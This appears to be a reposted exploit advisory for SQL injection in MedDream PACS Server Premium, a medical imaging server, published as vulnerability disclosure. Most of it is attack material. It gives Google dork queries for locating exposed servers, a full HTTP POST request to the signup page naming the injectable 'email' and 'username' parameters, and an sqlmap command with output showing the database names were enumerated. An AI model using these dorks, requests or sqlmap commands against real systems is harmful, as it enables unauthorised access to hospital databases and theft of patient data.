Softneta MedDream PACS Server Premium SQL Injection

MedDream PACS Server Premium version suffers from a remote SQL injection vulnerability.

MD5 | e3c7b5aea5926e6a6fc5c802a2d9e235

# Exploit Title: MedDream PACS Server Premium - 'email' SQL Injection
# Date: 2018-05-23
# Software
# Version: MedDreamPACS Premium
# Exploit Author: Carlos Avila
# Google Dork: inurl:Pacs/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login
# Category: webapps
# Tested on: Windows

# Proof of Concept

POST /Pacs/userSignup.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Cookie: PHPSESSID=4l1c7irpgk1apcqk7ll9d89104
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

hostname=localhost&database=dicom&username=hi&password=hi&firstname=jh&lastname=k23klk3l2&[email protected]&action=Sign+Up

# Parameters affected: email, username

[email protected]:~/meddream# sqlmap -r sqli-signup -f -p email --dbms mysql --dbs

[10:23:16] [INFO] testing MySQL
[10:23:16] [INFO] confirming MySQL
[10:23:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 7.0.30
back-end DBMS: MySQL >= 5.0.0
[10:23:16] [INFO] fetching database names
[10:23:16] [INFO] used SQL query returns 2 entries
[10:23:16] [INFO] resumed: information_schema
[10:23:16] [INFO] resumed: dicom
available databases [2]:
[*] dicom
[*] information_schema

Related Posts